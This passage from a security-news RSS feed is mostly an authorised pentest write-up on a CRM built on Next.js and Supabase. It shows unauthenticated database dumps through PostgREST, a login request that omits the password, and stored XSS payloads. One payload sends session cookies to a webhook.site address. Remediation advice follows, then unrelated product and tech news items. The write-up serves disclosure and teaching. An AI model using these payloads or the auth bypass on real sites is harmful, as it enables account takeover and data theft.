expiry</strong>. Effectively permanent.</p><p>Supabase exposes a PostgREST API — an HTTP interface that maps directly to PostgreSQL tables. With this key and no Row Level Security (RLS) policies enabled, I had direct read access to the entire database. No authentication. No privilege escalation. Just a key that was sitting in the JavaScript any visitor could download.</p><pre># Direct Supabase PostgREST queries — all returned HTTP 200<br>GET /rest/v1/users?select=*            → 38 user records (including plaintext passwords)<br>GET /rest/v1/leads?select=*            → 39 lead records (names, emails, phone numbers, deal values)<br>GET /rest/v1/payments?select=*         → 31 payment and invoice records<br>GET /rest/v1/courses?select=*          → Course catalog with pricing and instructor assignments<br>GET /rest/v1/instructor_notes?select=* → 29 private instructor notes<br>GET /rest/v1/chats?select=*            → Internal chat messages<br>GET /rest/v1/schedule_events?select=*  → 30 schedule entries<br>GET /rest/v1/automations?select=*      → Business automation rules and triggers</pre><p>I had just dumped the entire database from the browser.</p><p><strong>The root cause:</strong> The Supabase anon key was embedded in the client-side JavaScript bundle and all Supabase tables had Row Level Security disabled — meaning the anon role had unrestricted read access to every table.</p><p><strong>Impact:</strong> Complete, unauthenticated exfiltration of all user data, financial records, PII, internal communications, and business logic.</p><p><strong>What should have happened:</strong></p><ul><li>The anon key should never appear in client-side code</li><li>All Supabase tables must have RLS policies enabled</li><li>API keys must live in server-side environment variables only, acting as a proxy layer</li></ul><h3>V-03 — Plaintext Password Storage [CRITICAL | CVSS 9.0]</h3><p><strong>CWE-256 — Plaintext Storage of a Password</strong></p><p>When I queried the users table, the response included a password field. Not a hash. Not a bcrypt output. The actual plaintext password for every single account.</p><pre>{<br>  "email": "[REDACTED]@[REDACTED].edu.az",<br>  "role": "SUPER_ADMIN",<br>  "password": "[REDACTED]"<br>}</pre><p>38 user records. All roles. All passwords. Visible, readable, immediately usable.</p><p>I won’t detail the specific credentials here — they have since been reported and the organization has been notified. But the breakdown included SUPER_ADMIN, INSTRUCTOR, SUPPORT, and STUDENT roles — the entire user hierarchy.</p><p><strong>The cascading impact of this finding:</strong> Because passwords were plaintext, anyone who accessed the database (via V-02 or any future breach) immediately has working credentials for every account. No cracking. No GPU farms. Just copy-paste.</p><p>Additionally, if any user reuses these passwords on external services — email, banking, other platforms — those are now exposed too.</p><p><strong>What should have happened:</strong></p><ul><li>Passwords must be hashed using bcrypt (cost ≥ 12), scrypt, or Argon2id before storage</li><li>The password field must never be returned in any API response — not even to admins</li><li>Supabase Auth (GoTrue) handles this by default; custom auth flows should never store plaintext</li></ul><h3>V-04 — Authentication Bypass: Optional Password Field [CRITICAL | CVSS 9.8]</h3><p><strong>CWE-287 — Improper Authentication</strong></p><p>At this point I had all user emails from the database. But I wanted to test whether I actually needed the passwords at all.</p><p>I logged into Burp Suite Repeater, captured a normal login request, and removed the password field entirely:</p><pre>POST /api/login HTTP/2<br>Host: [REDACTED]<br>Content-Type: application/json</pre><pre>{"email": "[REDACTED_ADMIN_EMAIL]"}</pre><p>The server accepted it.</p><p>No password. No error. The application processed the request as a valid authentication attempt.</p><p><strong>Why this happens:</strong> The login handler likely performs a database lookup by email and, if no password is provided, the comparison logic returns true or null (falsy check passes) rather than throwing a validation error. A single missing server-side check — if (!password) return 400 — would have prevented this entirely.</p><p><strong>Combined impact with V-01 and V-02:</strong> An attacker can enumerate all user emails from the unauthenticated API, then bypass authentication for any account using just the email address. No password knowledge required at any step.</p><p><strong>What should have happened:</strong></p><ul><li>Enforce strict schema validation (Zod or Joi) at the API handler level</li><li>Both email and password must be present, non-null, and non-empty before any database query executes</li><li>Return HTTP 400 with a generic error message for any missing authentication field</li></ul><h3>V-05 — Stored Cross-Site Scripting: Multiple Endpoints [HIGH | CVSS 8.2]</h3><p><strong>CWE-79 — Improper Neutralization of Input During Web Page Generation</strong></p><p>While reading through the database dump, I noticed something unusual in the instructor_notes and tickets tables. Some records had values that looked distinctly non-standard:</p><pre>tickets.title: "&gt; &lt;script&gt;alert('XSS')&lt;/script&gt;<br>tickets.title: &lt;img src=x onerror="alert('XSS_SUCCESS_DASHBOARD')"&gt;</pre><pre>leads.full_name: &lt;script&gt;fetch('https://webhook.site/[REDACTED]<br>                 ?sessiya=' + btoa(document.cookie))&lt;/script&gt;</pre><pre>instructor_notes.author: &lt;details open ontoggle=alert(1)&gt; Administrator<br>instructor_notes.content: &lt;img src=x onerror="alert('Sizin sessiyanız oğurlandı: '<br>                           + document.cookie)"&gt;</pre><pre>chats.content: "&gt; &lt;script&gt;alert('XSS')&lt;/script&gt;</pre><p>Stored XSS payloads — across four different tables. And the webhook payload in leads.full_name was actively sending base64-encoded cookie data to an external server.</p><p>I confirmed the application renders these fields without sanitization. Any authenticated user who views the Leads, Tickets, or Instructor Notes sections would execute these scripts in their browser.</p><p>The document.cookie exfiltration payload via fetch() to webhook.site means that an attacker who plants this payload in a lead record waits for an admin to open the leads page — and receives their session token automatically.</p><p><strong>What should have happened:</strong></p><ul><li>All user-supplied input must be sanitized server-side before database writes</li><li>Output must be encoded at render time — React’s default JSX escaping prevents this, but dangerouslySetInnerHTML bypasses it</li><li>A strict Content Security Policy (CSP) header blocks inline scripts and restricts fetch() destinations</li><li>Existing payload records must be purged from the database</li></ul><h3>V-06 — CORS Misconfiguration: Wildcard Origin [HIGH | CVSS 7.5]</h3><p><strong>CWE-942 — Permissive Cross-Origin Resource Sharing Policy</strong></p><p>The OPTIONS preflight response from every API endpoint returned:</p><pre>Access-Control-Allow-Origin: *<br>Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS<br>Access-Control-Allow-Headers: Content-Type, Authorization</pre><p>A wildcard Access-Control-Allow-Origin means any website on the internet can make JavaScript-initiated cross-origin requests to these endpoints and read the full responses.</p><p>Combined with V-01 (unauthenticated API access), this means a malicious website could silently harvest all CRM data from any visitor’s browser — without any user interaction other than visiting the page.</p><p><strong>What should have happened:</strong></p><ul><li>Replace * with an explicit origin allowlist</li><li>Restrict allowed methods to what each endpoint actually needs</li><li>Use Next.js middleware for CORS enforcement rather than relying solely on nginx headers</li></ul><h3>V-07 — Business Logic Flaw: Negative Payment Amounts [MEDIUM | CVSS 6.5]</h3><p><strong>CWE-840 — Business Logic Errors</strong></p><p>In the payments table, I found records with negative monetary values:</p><pre>student: [REDACTED] | amount: -99999 | invoice: INV-TEST-99999 | status: paid<br>student: [REDACTED] | amount: -3000  | invoice: HACK-999-001   | status: paid</pre><p>The invoice ID HACK-999-001 is particularly notable — it suggests this was not an accidental entry.</p><p>The API accepted these values without any server-side validation. If the application processes negative amounts as refunds or credits, an attacker could manipulate financial records or corrupt reporting.</p><p><strong>What should have happened:</strong></p><ul><li>Server-side validation rejecting any payment amount ≤ 0</li><li>Database-level constraint: CHECK (amount &gt; 0) on the payments table</li><li>Investigation and cleanup of anomalous records</li></ul><h3>V-08 — Information Disclosure: Stack &amp; Schema Details [LOW | CVSS 4.3]</h3><p><strong>CWE-200 — Exposure of Sensitive Information</strong></p><p>Several endpoints leaked technical implementation details:</p><pre>GET /api/health<br># Returns: {"status":"healthy","node_version":"v24.15.0","uptime":1.019}</pre><pre>GET /rest/v1/instructors<br># Returns: PGRST205 hint: 'Perhaps you meant public.instructor_notes'</pre><pre>GET /rest/v1/schedules<br># Returns: PGRST205 hint: 'Perhaps you meant public.schedule_events'</pre><p>The PostgREST error hints are essentially a free schema enumeration tool — they reveal exact database table names when you guess wrong. The Next.js Build ID was also embedded in every page response, enabling precise version correlation.</p><p>Low severity on its own, but useful context for a targeted attacker combining it with higher-severity findings.</p><h3>A Disturbing Discovery: Evidence of Prior Exploitation</h3><p>The most unsettling moment of the entire assessment came from reading the database carefully.</p><p>Stored inside production records — tickets, payments — were payloads that were clearly not part of the application’s legitimate data:</p><ul><li><strong>A PostgreSQL RCE attempt:</strong> COPY FROM PROGRAM syntax stored in a ticket record, suggesting at least one external actor attempted server-side command execution through the database</li><li><strong>A Go template injection payload:</strong> {{range .}}{{end}}{{template "exploit" .}} — stored in another ticket, probing for server-side template injection</li><li><strong>XSS payloads actively sending data to webhook.site</strong> — confirming that at least one external party had already planted exfiltration scripts and was receiving session cookies</li><li><strong>A Burp Suite Collaborator (oastify.com) OAST payload</strong> in the payments table — indicating active out-of-band testing by an external party</li></ul><p>This wasn’t a theoretical attack surface. Someone had already found these vulnerabilities, and they were actively using them.</p><h3>The Complete Attack Chain</h3><pre>[Attacker — No credentials, no prior knowledge]<br>        │<br>        ▼<br>[1] Passive recon → identify Next.js + Supabase stack from JS bundles<br>        │<br>        ▼<br>[2] feroxbuster → discover /api/tickets, /api/search, /api/dashboard<br>        │<br>        ▼<br>[3] curl /api/tickets (no auth) → 200 OK → V-01 confirmed<br>        │<br>        ▼<br>[4] Burp Suite intercept → extract Supabase URL + anon key from headers<br>        │<br>        ▼<br>[5] GET /rest/v1/users?select=* → 38 users, plaintext passwords, all roles<br>    GET /rest/v1/leads?select=*  → 39 lead records with PII<br>    GET /rest/v1/payments?select=* → 31 payment records<br>    ... (complete database dump — V-02, V-03)<br>        │<br>        ▼<br>[6] POST /api/login {"email": "[ANY_ADMIN_EMAIL]"} (no password) → auth bypass<br>    → SUPER_ADMIN session obtained — V-04<br>        │<br>        ▼<br>[7] Authenticated access → inject XSS payload in leads/tickets/notes<br>    → Any admin who views the record executes the payload<br>    → Session cookie exfiltrated to attacker webhook — V-05<br>        │<br>        ▼<br>[8] Full account takeover — all SUPER_ADMIN, INSTRUCTOR, SUPPORT accounts<br>    accessible. All data readable, modifiable, deletable.</pre><pre>TOTAL TIME FROM ZERO TO FULL COMPROMISE: &lt; 30 minutes</pre><h3>Remediation Roadmap</h3><p><strong>Immediate — 24 hours</strong></p><p><strong>1 · V-02 · Exposed Supabase Anon Key</strong> Rotate the Supabase anon key immediately. Enable Row Level Security on every table. Move all API keys to server-side environment variables — never in client-side JavaScript bundles.</p><p><strong>2 · V-03 · Plaintext Password Storage</strong> Hash all stored passwords using bcrypt (cost ≥ 12) or Argon2id. Force a password reset for every account. The password field must never be returned in any API response.</p><p><strong>Urgent — 72 hours</strong></p><p><strong>3 · V-01 · Unauthenticated API Access</strong> Add authentication middleware to all /api/* routes. No endpoint that returns user data should be reachable without a valid session.</p><p><strong>4 · V-04 · Authentication Bypass</strong> Enforce mandatory validation of both email and password fields at the API handler level before any database query runs. Return HTTP 400 for any missing field.</p><p><strong>High — 1 week</strong></p><p><strong>5 · V-05 · Stored XSS</strong> Sanitize all user-supplied input server-side before database writes. Implement a strict Content Security Policy header. Purge all existing XSS payload records from the database.</p><p><strong>6 · V-06 · CORS Wildcard</strong> Replace Access-Control-Allow-Origin: * with an explicit origin allowlist. Restrict allowed methods per endpoint.</p><p><strong>Medium / Low</strong></p><p><strong>7 · V-07 · Negative Payment Amounts</strong> <em>(2 weeks)</em> Validate amount &gt; 0 at the API handler level and enforce a CHECK (amount &gt; 0) constraint at the database layer.</p><p><strong>8 · V-08 · Information Disclosure</strong> <em>(1 month)</em> Restrict /api/health to internal access only. Suppress verbose PostgREST error hints in all client-facing responses.</p><h3>Key Takeaways for Developers</h3><p>The vulnerabilities found here are not exotic or theoretical. They are some of the most common and preventable mistakes in modern web application development.</p><p><strong>1. Never put secrets in client-side JavaScript.</strong> A Supabase anon key in your JavaScript bundle is a key handed to every visitor. Treat your frontend code as fully public. All API keys belong in server-side environment variables, proxied through server-side routes.</p><p><strong>2. Supabase RLS is not optional.</strong> Supabase’s Row Level Security exists precisely because the PostgREST API is designed to be called from the client. Without RLS policies, your anon key grants read access to every row in every table. Enable RLS. Add explicit policies. Deny by default.</p><p><strong>3. Validate authentication inputs on the server.</strong> Never trust that a request body contains what it should. If password is missing, return 400 immediately. Use Zod or Joi to enforce input schemas at the API handler level before any database query runs.</p><p><strong>4. Never store plaintext passwords.</strong> This should go without saying in 2026, but here we are. Use bcrypt, scrypt, or Argon2id. Never compare plaintext. Never return the password field in any API response — not even to authenticated admins.</p><p><strong>5. Sanitize all inputs, encode all outputs.</strong> If user-supplied data is rendered in a browser, it must be sanitized before storage and encoded at render time. React’s default JSX escaping helps — but only if you don’t bypass it with dangerouslySetInnerHTML.</p><p><strong>6. Monitor your own database for signs of compromise.</strong> The presence of PostgreSQL RCE attempts, template injection payloads, and active cookie-stealing XSS scripts in production data is a strong indicator of prior exploitation. Regular database audits and anomaly detection would have surfaced these earlier.</p><h3>Responsible Disclosure Timeline</h3><p><strong>April 25, 2026</strong> — Assessment conducted with full authorization <strong>April 25, 2026</strong> — Full technical report delivered to MilliSec leadership <strong>April 25, 2026</strong> — Organization notified of critical findings requiring immediate action <strong>May 2026</strong> — Write-up published after internal review and redaction</p><h3>Final Thoughts</h3><p>This was one of the most eye-opening assessments I’ve done. Not because of technical complexity — none of these vulnerabilities required advanced exploitation. The hardest part was writing a GET request with curl.</p><p>What made it sobering was the evidence that other actors had already found the same path. The database had traces of PostgreSQL RCE attempts, active XSS exfiltration, and Burp Collaborator callbacks — left by people who found this before I did and may have been quietly exfiltrating data.</p><p>The good news: every single one of these vulnerabilities is fixable. Most of them within hours. The patch for V-04 is literally one if statement. The patch for V-02 is moving a string from a .js file to a .env.local file. The barrier to fixing these is low. The cost of not fixing them is everything.</p><p><em>If you found this useful, feel free to connect on </em><a href="https://linkedin.com/in/camalzads"><em>LinkedIn</em></a><em> or check out my tools on </em><a href="https://github.com/alisalive"><em>GitHub</em></a><em>.</em></p><p><em>All testing was conducted on an authorized target with full written permission. Never test systems you don’t own or have explicit authorization to test.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=98c030a57ab1" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/i-pentested-a-real-crm-system-and-found-4-critical-vulnerabilities-heres-the-full-attack-chain-98c030a57ab1">I Pentested a Real CRM System and Found 4 Critical Vulnerabilities — Here’s the Full Attack Chain</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Anthropic ships major Claude Design overhaul with design system imports, code round-trips, and a fix for its token-burning problem]]></title>
<description><![CDATA[When Anthropic quietly released Claude Design in April as a "research preview," it generated the kind of instant traction most product teams dream about: more than one million users in its first week. It also generated a problem. The tool consumed tokens so voraciously that a PCWorld reviewer bur...]]></description>
<link>https://tsecurity.de/de/3605936/it-nachrichten/anthropic-ships-major-claude-design-overhaul-with-design-system-imports-code-round-trips-and-a-fix-for-its-token-burning-problem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3605936/it-nachrichten/anthropic-ships-major-claude-design-overhaul-with-design-system-imports-code-round-trips-and-a-fix-for-its-token-burning-problem/</guid>
<pubDate>Wed, 17 Jun 2026 21:31:52 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>When <a href="https://www.anthropic.com/">Anthropic</a> quietly released <a href="https://claude.ai/design">Claude Design</a> in April as a "<a href="https://www.anthropic.com/news/claude-design-anthropic-labs">research preview</a>," it generated the kind of instant traction most product teams dream about: more than one million users in its first week. It also generated a problem. The tool consumed tokens so voraciously that a PCWorld reviewer <a href="https://www.pcworld.com/article/3117811/i-tried-claude-design-for-half-an-hour-im-already-locked-out-for-a-week.html">burned through 80 percent</a> of his weekly Claude Pro allowance in roughly 25 minutes, producing just three variations of a single webpage prototype. "We're talking another token-hungry Claude product here," the reviewer wrote, "one that Pro users in particular will barely be able to use before burning through their usage limits."</p><p>Two months later, Anthropic is shipping a substantially overhauled version of <a href="https://claude.ai/design">Claude Design</a> that attempts to fix the consumption issue while simultaneously repositioning the product from a flashy demo into something far more strategically important: a design system compliance layer that connects to code, connects to the tools enterprises already use, and — critically — keeps everything on brand.</p><p>The update, announced Wednesday, arrives at a moment when Anthropic is executing one of the most aggressive product expansions in the AI industry's brief history. In the past ten weeks alone, the company has launched <a href="https://www.anthropic.com/news/claude-opus-4-8">Claude Opus 4.8</a>, released (and then suspended) the Mythos-class <a href="https://www.anthropic.com/news/claude-fable-5-mythos-5">Fable 5 model</a>, shipped ten agent templates for financial services, announced a <a href="https://investors.dxc.com/investor-news/news-details/2026/DXC-and-Anthropic-Announce-Multi-Year-Global-Alliance-to-Bring-AI-into-Mission-Critical-Enterprise-Systems/default.aspx">multi-year alliance</a> with DXC Technology to embed Claude inside the IT infrastructure of the world's largest banks and airlines, rolled out <a href="https://www.anthropic.com/news/claude-for-small-business">Claude for Small Business</a> with integrations into QuickBooks and PayPal, and published research showing that Claude Code users now average <a href="https://www.anthropic.com/research/claude-code-expertise?lang=us">20 hours per week on the tool</a>. </p><p>Claude Design's transformation from prototype toy to enterprise platform is the latest move in a company-wide strategy to make Claude not just an assistant people talk to, but a worker embedded in the systems where work actually happens.</p><h2><b>How design system imports make Claude Design an enterprise brand-compliance tool</b></h2><p>The headline feature in Wednesday's update is not the new drag-and-resize editor, nor the expanded list of export destinations, though both matter. The feature that signals where Anthropic is heading is the rebuilt design system import.</p><p>Users can now bring one or several design systems into Claude Design from a <a href="https://github.com/">GitHub</a> repository, design files, or raw uploads. Once imported, Claude builds with those components, checks its output against the design system, and auto-corrects before the user ever sees the result. For larger organizations, a new admin role can approve a single standard system and lock down edits, ensuring that every asset Claude produces conforms to company guidelines.</p><p>This is a meaningful departure from the tool's original positioning. In April, <a href="https://claude.ai/design">Claude Design</a> was a blank canvas: give it a prompt, and it would generate something visually impressive but stylistically arbitrary. Business Insider tested it against Canva AI for a photography workshop slide deck and found that Claude Design "<a href="https://www.businessinsider.com/claude-design-canva-ai-test-compare-create-presentation-saas-2026-5">anticipated my needs</a>" and "identified its own errors and corrected them without prompting." But the output reflected Claude's aesthetic judgment, not the user's brand. For an individual freelancer or a startup founder sketching ideas, that was fine. For a 10,000-person enterprise with a 200-page brand standards document, it was a non-starter.</p><p>The design system import changes that equation. By ingesting a company's actual components — its buttons, typography, color tokens, spacing rules — and then validating output against them before surfacing results, Claude Design is attempting something that most human designers struggle with: consistent brand compliance at speed and scale. The admin lockdown feature, which prevents individual users from overriding the approved system, is a direct play for the enterprise procurement conversation, where "can we control what it produces?" is often the first question.</p><h2><b>Why the Claude Code round-trip could end the design-to-engineering handoff problem</b></h2><p>The second major update is the bidirectional integration between <a href="https://claude.ai/design">Claude Design</a> and <a href="https://www.anthropic.com/product/claude-code">Claude Code</a>. Users can now run /design-sync in Claude Code to import their local codebase's design system into Claude Design, ensuring that prototypes start from real components rather than approximations. When a design is ready to ship, it hands off to Claude Code, which picks up exactly where the designer left off — no screenshot, no rebuild. The integration works in reverse, too. From a Claude Code terminal, the /design command lets developers create, edit, and sync design projects without leaving their workflow.</p><p>This matters because the handoff between design and engineering has been one of the most persistent friction points in software development for decades. Tools like Figma's Dev Mode and Zeplin have tried to bridge the gap by generating specifications and code snippets from design files, but the translation has always been lossy. A designer's prototype and an engineer's implementation inevitably diverge, creating a cycle of visual QA, redlines, and "that's not what the mockup looked like" conversations.</p><p>Anthropic is betting that if the same AI system both designs and codes — and if both modes share the same underlying component library — the gap disappears. It is, in effect, arguing that the design-to-code problem was never really about better specification formats or smarter handoff tools. It was about the fact that two different humans (or two different tools) were interpreting the same intent. A single AI system that operates on both sides of the workflow doesn't need to interpret; it just continues.</p><p>The timing of this integration is also significant in light of Anthropic's own research. Just yesterday, the company published an analysis of <a href="https://www.anthropic.com/research/claude-code-expertise">roughly 400,000 Claude Code sessions </a>showing that domain expertise — not coding proficiency — is the primary driver of successful outcomes. Every major occupation succeeded at coding tasks at nearly the same rate as software engineers. If designers can now move fluidly between visual prototyping and code implementation through a single AI system, the research suggests they will succeed not because they learned to code, but because they deeply understand the design problems they are solving.</p><h2><b>Token consumption gets a fix, but the economics of generative design remain tight</b></h2><p>The token consumption issue that dogged Claude Design's launch was not just a user experience annoyance — it was a structural threat to the product's viability. If a <a href="https://support.claude.com/en/articles/11049762-choose-a-claude-plan">$20-per-month Pro subscriber</a> could exhaust their entire weekly allowance in a single 30-minute session, the tool was effectively inaccessible to the individual users and small teams who drove its initial viral adoption.</p><p>Anthropic's response is twofold. First, <a href="https://claude.ai/design">Claude Design</a> now shares usage limits with chat, <a href="https://www.anthropic.com/product/claude-cowork">Claude Cowork</a>, and <a href="https://www.anthropic.com/product/claude-code">Claude Code</a>, rather than drawing from a separate, smaller pool. This gives most users significantly more headroom. Second, the company says it has reduced the average token consumption per turn while maintaining output quality, and that error rates have dropped sharply.</p><p>Whether this is enough remains an open question. The fundamental tension is architectural: generative design is inherently token-expensive. Every variation Claude produces requires the model to reason about layout, typography, color, spacing, responsiveness, and content simultaneously, then generate a complete, functional artifact. That is a fundamentally different workload than answering a question in chat, and it consumes tokens accordingly. Anthropic's efficiency improvements may push the breaking point further out, but they do not eliminate the underlying economics. For enterprise customers on Team and Enterprise plans with higher limits, this may be a non-issue. For Pro subscribers, the math is still likely to be tight.</p><p>The new editor helps mitigate this somewhat by giving users direct control over individual elements — drag, resize, and align — without burning a model turn for every small adjustment. Hundreds of stability fixes also mean fewer wasted turns on errors and regenerations, which were a significant source of token drain in the original release. These are not glamorous improvements, but they are the kind of grind work that separates a research preview from a daily-use tool.</p><h2><b>Nine new export partners position Claude Design as a creative hub, not a destination</b></h2><p>The update's third pillar is an expanded set of export destinations. Claude Design now sends work to <a href="https://www.adobe.com/">Adobe</a>, <a href="https://base44.com/">Base44</a>, <a href="https://www.canva.com/">Canva</a>, <a href="https://gamma.app/">Gamma</a>, <a href="https://lovable.dev/">Lovable</a>, <a href="https://miro.com/">Miro</a>, <a href="https://replit.com/">Replit</a>, <a href="https://vercel.com/">Vercel</a>, and <a href="https://www.wix.com/">Wix</a>, in addition to PDF and PowerPoint. The breadth of this list reveals a deliberate positioning strategy: Anthropic is building Claude Design not as a place where work is finished, but as the place where it begins.</p><p>The partner quotes tell the story. Replit's president Michele Catasta frames the integration as meeting "builders wherever ideas begin." Canva's Anwar Haneef describes the flow from Claude Design as turning "a first draft" into "a finished asset — kept on-brand, personalized for the moment." Vercel's Andrew Qu talks about pushing a concept "straight to Vercel to ship." In each case, Claude Design is the origin point, and the partner tool is where polish, collaboration, and deployment happen.</p><p>This hub-and-spoke model also serves as a defensive moat against the open-source alternative that has emerged with surprising speed. <a href="https://github.com/nexu-io/open-design">Open Design</a>, a community-built project tracked by <a href="https://www.augmentcode.com/learn/open-design-claude-design-alternative">Augment Code</a>, reached 57,400 GitHub stars and 310 contributors in just eight weeks after Claude Design's launch. It offers local-first operation, model flexibility supporting 16 different coding agents, and 259 skills with 142 design systems — all without cloud lock-in. Augment Code's Paula Hingel noted that for "teams that need to self-host, use their own API keys, or swap models, Open Design is currently the only local-first option with this level of skill and design system coverage."</p><p>Anthropic's answer to this competitive pressure is not to match <a href="https://www.augmentcode.com/learn/open-design-claude-design-alternative">Open Design</a> on self-hosting or model flexibility — those are philosophical concessions the company is unlikely to make. Instead, it is building an integration ecosystem that open-source projects cannot easily replicate. A native Adobe Express connector, a verified Canva export pipeline, a first-party Vercel deployment path — these are partnerships, not features, and they require business relationships that community projects cannot forge at the same pace.</p><h2><b>Claude Design fits into Anthropic's broader push to embed AI across the entire enterprise stack</b></h2><p>To understand why Claude Design's evolution matters, it helps to zoom out. Anthropic is building a product surface that now spans creative work (<a href="https://claude.ai/design">Design</a>), code (<a href="https://www.anthropic.com/product/claude-code">Code</a>), knowledge work (<a href="https://www.anthropic.com/product/claude-cowork">Cowork</a>), and enterprise operations (<a href="https://platform.claude.com/docs/en/managed-agents/overview">Managed Agents</a>) — all unified by the same underlying models and, increasingly, by shared context that carries across tools.</p><p>The trajectory of the past quarter makes the pattern unmistakable. In May, Anthropic launched Claude for Small Business with connectors to QuickBooks, PayPal, and HubSpot, putting Claude inside the tools that small business owners already use for payroll, invoicing, and marketing. The same month, the company released ten agent templates for financial services covering everything from pitchbook creation to KYC screening, with connectors to FactSet, S&amp;P Capital IQ, and Morningstar. Claude Opus 4.8 shipped on May 28 with a "dynamic workflows" feature enabling hundreds of parallel sub-agents in a single Claude Code session. Then came the Fable 5 and Mythos 5 launch on June 9, followed almost immediately by a US government export control directive that suspended access to both. DXC Technology announced a multi-year alliance to train tens of thousands of Claude-certified engineers to embed Claude inside the systems it operates for major banks, airlines, and insurers.</p><p>The design system you import into Claude Design is the same component library that Claude Code uses to implement. The financial model you build in Claude for Excel can flow into a pitchbook created in Claude Design and exported to PowerPoint. The brand assets a small business owner creates through Claude Design can be pushed directly to Canva for team collaboration. This is not a chatbot strategy. It is a platform strategy, and the Claude Design update — with its design system imports, code round-trips, and export ecosystem — is one of the clearest expressions of it yet.</p><p>Anthropic also published an engineering deep-dive last month detailing how it contains Claude across products using sandboxes, virtual machines, and egress controls — infrastructure that becomes more critical as tools like Claude Design gain access to proprietary design systems and brand assets. The containment architecture reveals both the ambition and the risk: the more deeply Claude embeds into enterprise workflows, the higher the stakes when something goes wrong, and the more sophisticated the security envelope must become.</p><p>Three questions will determine whether Wednesday's update delivers on its ambitions. First, whether the token economics actually work for the broadest user base — shared limits and efficiency gains help, but generative design remains expensive. Second, whether the design system import proves robust enough for real enterprise use, because ingesting a GitHub repository of React components and faithfully using them across dozens of design variations is a genuinely hard technical problem. And third, whether the Claude Code round-trip actually eliminates the design-engineering gap or merely shifts it.</p><p>Claude Design launched two months ago as a thing people tried once and marveled at. Anthropic is now trying to make it a thing people use every day — and more than that, a thing their entire team trusts to stay on brand while they do. In the AI industry, the distance between a viral demo and an indispensable tool has swallowed more products than it has produced. Anthropic just bet that design systems, not just design prompts, are the bridge across.</p><p>
</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Around a fifth of Steam Next Fest demos have a generative AI disclosure]]></title>
<description><![CDATA[We'll see how players react.]]></description>
<link>https://tsecurity.de/de/3603151/it-nachrichten/around-a-fifth-of-steam-next-fest-demos-have-a-generative-ai-disclosure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3603151/it-nachrichten/around-a-fifth-of-steam-next-fest-demos-have-a-generative-ai-disclosure/</guid>
<pubDate>Tue, 16 Jun 2026 23:02:40 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[We'll see how players react.]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple’s New Software May Finally Bring CarPlay To Tesla Cars]]></title>
<description><![CDATA[Apple and Tesla are reportedly working together to finally bring CarPlay into the popular electric vehicles. While the car brand has built a highly successful software experience of its own, some drivers still prefer the familiar layout of their iPhones. A new software addition shown off during t...]]></description>
<link>https://tsecurity.de/de/3602674/ios-mac-os/apples-new-software-may-finally-bring-carplay-to-tesla-cars/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3602674/ios-mac-os/apples-new-software-may-finally-bring-carplay-to-tesla-cars/</guid>
<pubDate>Tue, 16 Jun 2026 19:09:53 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple and Tesla are reportedly working together to finally bring CarPlay into the popular electric vehicles. While the car brand has built a highly successful software experience of its own, some drivers still prefer the familiar layout of their iPhones. A new software addition shown off during the Worldwide Developers Conference might be the exact bridge needed to make this long awaited vehicle integration a reality.



Route sharing connects navigation apps directly to the car



The missing link appears to be a feature called route sharing. Released as part of the iOS 26.4 update in March, this tool allows a navigation app to share its routing data directly with the vehicle. This data sync is important for electric vehicles because it includes battery levels and charging stops along the trip.



Syncing this information is also key for self-driving features to function properly. Without route sharing, the car would be blind to the phone's navigation plans. This update fixes that gap, giving developers the exact tools they need today.



Drivers who rely on the native Grok app will not have to give it up either, as a dedicated version is already available within the Apple ecosystem. As the tech giant continues to roll out updates, users are already exploring everything new in CarPlay with iOS 27, and this basic route-sharing technology ensures that the car and the phone are always communicating on the same page.



Low software adoption rates gave the company time to prepare



Earlier this year, reports showed that Tesla was holding off on this integration due to early app compatibility issues. There was also the problem of low update numbers for the iOS 26 operating system. However, this delay appears to have given the automaker the time it needed to build out a working system.



A future software update, possibly arriving in the summer or fall of 2026, could finally unlock these requested features. Adding phone integration would greatly improve the in-car messaging experience and offer an alternative to the vehicle's standard navigation system.



We still need to see if the automaker will support all the new features coming soon. For example, it is unclear how the dashboard screens will react when Apple adds video apps and new CarPlay features in the iOS 27 update. Regardless, having the choice to connect a phone directly to the main display would be a major win for drivers who have been waiting years for this option.



This development shows that both companies are willing to find a middle ground. By solving the technical problem of route data, the door is finally open for a big shift in how these electric vehicles handle daily navigation.]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Tooling Announcements: Firefox Profiler Deployment (June 16, 2026)]]></title>
<description><![CDATA[The latest version of the Firefox Profiler is now live! Check out the full changelog below to see what’s changed:
Highlights:

[Nazım Can Altınova] Add source map symbolication and source view support (#6018)

It requires Firefox changes that will land in Firefox 154, but after these changes, you...]]></description>
<link>https://tsecurity.de/de/3602104/tools/firefox-tooling-announcements-firefox-profiler-deployment-june-16-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3602104/tools/firefox-tooling-announcements-firefox-profiler-deployment-june-16-2026/</guid>
<pubDate>Tue, 16 Jun 2026 16:09:18 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The latest version of the <a href="https://profiler.firefox.com/" rel="noopener nofollow ugc">Firefox Profiler</a> is now live! Check out the full changelog below to see what’s changed:</p>
<p><strong>Highlights:</strong></p>
<ul>
<li>[Nazım Can Altınova] Add source map symbolication and source view support (<a href="https://github.com/firefox-devtools/profiler/pull/6018" rel="noopener nofollow ugc">#6018</a>)
<ul>
<li>It requires Firefox changes that will land in Firefox 154, but after these changes, you will be able to see the source mapped function names as well as the source contents!</li>
</ul>
</li>
